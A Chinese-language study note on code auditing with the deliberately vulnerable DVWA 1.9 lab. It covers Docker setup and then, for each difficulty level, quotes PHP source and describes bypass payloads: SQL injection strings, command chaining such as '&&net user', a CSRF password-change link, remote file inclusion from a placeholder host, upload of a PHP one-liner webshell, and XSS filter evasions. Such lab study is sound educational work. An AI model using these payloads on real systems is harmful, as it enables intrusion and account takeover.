由DVWA_v1.9学习代码审计笔记
Docker介绍
用的是 win10 x64位版本,推荐在powershell下运行(可以解决某些脚本或指令无法运行的问题。)
https://github.com/docker/for-win/issues
本地安装默认在C盘,由win10自带的 hper-v模拟一个linux环境安装。右击docker图标下载Docker for Windows 的 GUI 管理工具 Kitematic,解压安装在C盘docker的目录下。
国外镜像源pull太慢的话可以设置为国内的加速器,在docker daemon 的"registry-mirrors": ["https://stx13k4e.mirror.aliyuncs.com"] 数组里添加国内阿里云镜像加速器
vi 输入i进入编辑模式 ESC后进入命令模式 :wq
附一些docker 在windows下常用命令笔记说明:
docker run -t -i <image> 用镜像创建一个容器
docker run -it ubuntu bash 在bash命令行进入ubuntu;exit退出
docker start <container id> 开始该容器
docker stop <container id> 停止该容器
docker pull image 拉拽镜像
docker images 查看可用镜像
docker ps 查看运行的容器
docker ps -a 查看所有的容器
docker rmi <image name>删除镜像
docker rm <container id>删除容器
docker rm (docker ps -a -q) 删除当前所有容器
docker save -o <保存文件名(.tar)或路径> <要保存的镜像名> 导出镜像文件
docker load --input <要载入的文件名(.tar)或路径> 导入镜像文件
docker commit <容器id> <新名字>创建当前运行镜像的新的镜像(包含改变)
docker attach <container id>与该容器交互
docker pull private-registry.com/user-name/ubuntu:latest 从私有Registry上拉取镜像docker tag dvwa1.9_win10 euphrat1ca/dvwa1.9_win10 给镜像加上标签
docker login 登录到dockerhub
docker push euphrat1ca/ubuntu_cn 上传到dockerhub
docker inspect --format='{{.NetworkSettings.IPAddress}}' $(docker ps -a -q) 查看所有容器ip
docker cp [OPTIONS] <container Id>:本机文件路径
docker cp [OPTIONS] 本机文件路径 <container Id>:容器中文件路径
docker exec -it <container id> /bin/sh 与容器交互
docker inspect <container id> 容器信息
docker build -t apache-php2 . Dockerfile创建镜像
docker tag <container id> username/name:devel 修改镜像的标签
docker run -d -p 80:80 端口映射(-d守护进程)
docker run -it <images-name> env 查看HTTP_PROXY
, http_proxy
和no_proxy
的环境变量设置#由DVWA学习代码审计
Brute Force
low
<?php
if(isset($_GET['Login'])){
//Getusername
$user=$_GET['username'];
//Getpassword
$pass=$_GET['password'];
$pass=md5($pass);
//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
?>
只对pass做了MD5处理避免了代码执行,但是对username没做过滤。所以可以用admin'# 或 admin'or'1'='1("SELECT * FROM users
WHERE user = 'admin'#' AND password = '$pass';" 第二个同理)绕过。
media
<?php
if(isset($_GET['Login'])){
//Sanitiseusernameinput
$user=$_GET['username'];
$user=mysql_real_escape_string($user);
//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);
//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(2);
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
?>
增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,但是类似addslashes和mysql_real_escape_string网上已有绕过的办法。同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(sleep(2)只不过耽搁会)。
high
<?php
if(isset($_GET['Login'])){
//CheckAnti-CSRFtoken
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');
//Sanitiseusernameinput
$user=$_GET['username'];
$user=stripslashes($user);
$user=mysql_real_escape_string($user);
//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=stripslashes($pass);
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);
//Checkdatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(rand(0,3));
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
//GenerateAnti-CSRFtoken
generateSessionToken();
?>
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度。不过类似addslashes和mysql_real_escape_string网上已有绕过的办法。通过Burp抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。不过token是可以在页面上抓取的。
impossible
增加了放暴破设置,同时使用了更为安全的PDO(PHP Data Object)机制防御sql注入(PDO扩展本身执行任何数据库操作)
命令执行注入
low
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
对输入的命令没有过滤,直接进行参数的传递。可以通过用“&&”和“;”来执行额外的命令 ping 127.0.0.1&&net user
medium
只不过是加入了一些黑名单的过滤,但是仍然不完全,比如网上给出的例子 ping 127.0.01 || net user ("||"的意思是前一个命令失败则执行下一个命令)。所以黑名单是过滤不完的
high
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
黑名单列表更多了一点,同medium理。
impossible
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
这个就有点丧心病狂了,将IP以“.”分片后,分别来判断数据类型
CSRF 跨站请求伪造
low
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) { #检查两个参数是否相同
// They do!
$pass_new = mysql_real_escape_string( $pass_new ); #过滤非法字符,可尝试绕过
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user #如果相同则更改密码
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
?>
- http://localhost:32774/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change#,构造此连接诱使他人管理员点击则可将密码更改为password1,前提是管理员使用了相同的浏览器打开(利用浏览器中的cookies)
- 攻击利用可通过网上的短网址服务对这串网址进行缩减。或者利用构造钓鱼网站或页面,在其中插入这段利用网址诱使管理员点击。
media
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { #eregi()功能:字符串比对解析,与大小写无关。
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
mysql_close();
}
?>
- eregi()检查了保留变量 HTTP_REFERER中是否包含SERVER_NAME
- 验证是否包含了上图如主机名等关键字,如果没有则判断失败。只需要在http包中加入关键字即可绕过,比如构造的攻击页面名即为主机名loclahost:32774.html
high
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token #用户每次访问页面都会产生一个随机token,发起请求时先验证token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
- 加入了 token验证
- 利用方面可以通过向目标主机植入木马获取token并更改密码,或者利用存储型XSS获取token
impossible
1.加入了要求输入原密码的验证,简单粗暴。使用了PDO防注入
file inclusion文件包含
low
$file = $_GET[ 'page' ];
- 可在链接 http://localhost:32774/dvwa/vulnerabilities/fi/?page=file1.php “=”后面跟文件路径读取服务器本地文件 linux / win \ ..跨目录
- 当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。 localhost:32774/dvwa/vulnerabilities/fi/?page=http://xxx.com/1.txt
media
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
- 使用str_replace()函数,对参数中的某些字符替换为空字符。 page=hthttp://tp://xxx.com/1.txt ,利用双写绕过规则,替换后则正好构成链接,远程执行命令。本地文件包含同理。且绝对路径不受影响。
high
if( !fnmatch( "file*", $file ) && $file != "include.php" )
- 使用了fnmatch()函数,要求提交的url中必须包含为file开头,可以利用windows下的 File协议,基本的格式如下:file:///文件路径
impossible
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
采用白名单验证,要求提交的参数必须包括这三个之一
file upload文件上传
low
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
- 这里对上传的文件没有做任何的限制,而且最后还会判断是否上传成功并返回上传路径。所以直接上传一句话用菜刀连接就可以了。
media
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
- 代码对名称、类型和大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。
- 这里我们选择讲一句话木马的后缀改为 “.jpg”,然后上传的时候用burp更改上传文件类型(记得检查长度“Content-Length:”)
- 接着用菜刀连接即可。
- 在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为yijuhua.php%00.png
high
strrpos( $uploaded_name, '.' )
strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
- 第一个strrpos()先读取上传文件最后一个“.”后的文件名,最后在与上传文件的最后文件名比对,如果相同才可以上传。
- getimagesize( )函数会读取文件的头信息,要求头信息必须为jpg、png、jpeg的图片。
- 网上给出的是用文件包含和%00截断和命令行注入直接改名字,但这里我可能是因为配置问题一直没成功。
impossible
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Generate Anti-CSRF token
generateSessionToken();
- 增加了文件名的md5验证,审核了文件内容,最后也加入了token验证。导致攻击者无法上传恶意脚本。
第六个不安全的验证码
- 因为我可能配置有点问题,这里没办法实验╮(╯▽╰)╭
- 大概思路和CSRF套路一样,更改密码时需要提交验证码,构造钓鱼页面向用户发送含有更改密码连接的页面诱使其点击。
sql injection sql注入
手工注入思路:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
low
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
- 对来自客户端的参数“id”没有进行任何的过滤,直接查询。
- 先通过 “?id=1 and 1=1”与“?id=1' and 1=1’”判断出为字符型注入(1为数字,2为字符)
media
mysql_real_escape_string( $id )
- 使用mysql_real_escape_string()函数对id中的特殊符号进行转义。使用了下来菜单的方式限制了输入,但是用burp抓包以后依然可以提交特殊语句。
- 根据提交特殊语句判断为数字型注入
- 在诸如过程中也许会遇到特殊字符转义,可以用二进制的方式跳过,如 ’users ’ = 0×7573657273
high
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
- LIMT 1 限制每次只出现一个结果,但是可以通过 “#”将其注释掉
impossible
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
- 采用了PDO技术将代码与数据分离开,而且确保只有在数据为一行的情况下才可以输出。最后加入了token验证。
sql injection blind sql盲注
原理和sql注入类似,但是隐藏了错误信息,只返回对、错
XSS(Reflected) 反射性XSS
low
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
- 对参数未做任何处理,直接显示
- <script>alert("XSS");</script> 验证成功,弹出提示框。
media
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
- 对参数做了'<script>'过滤转换为空 <sc<script>ript>,将头转换即可。
high
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] )
- 使用正则对特殊字符进行了转义。
- 所有包含这些特殊字符的语句都失效。
impossible
$name = htmlspecialchars( $_GET[ 'name' ] );
// Generate Anti-CSRF token
generateSessionToken();
- 加入了token验证和,绕过 htmlspecialchars()函数的具体方法网上还是有的,htmlspecialchars()函数只对&、’、”、<、>符号进行转译成html特殊符号,我们可以通过url编码对带有连接的标记进行攻击:<a href="<?php echo htmlspecialchars("javascript:alert(1)",ENT_QUOTES); ?>">a</a>
XSS stored 存储型XSS
low
stripslashes( $message );
- stripslashes函数表示:去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个。除了这个以后则对参数没有进行其它的过滤。
media
- 主要思路和反射型类似,都只是转义了一个<script>
其它两个等级也类似。